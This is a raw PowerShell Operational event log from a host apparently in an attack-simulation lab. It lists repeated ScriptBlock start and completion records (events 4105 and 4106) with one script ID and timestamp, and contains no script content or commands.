SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468734
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468733
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468732
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468731
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468730
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468729
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468728
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468727
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468726
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468725
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468724
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468723
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468722
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468721
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468720
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468719
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468718
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468717
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468716
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468715
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468714
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468713
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468712
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468711
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468710
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468709
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468708
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468707
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468706
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468705
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468704
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468703
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468702
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468701
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468700
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468699
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468698
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468697
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468696
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468695
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468694
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468693
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468692
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468691
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468690
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468689
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468688
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468687
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468686
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468685
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468684
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468683
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468682
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468681
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468680
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468679
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
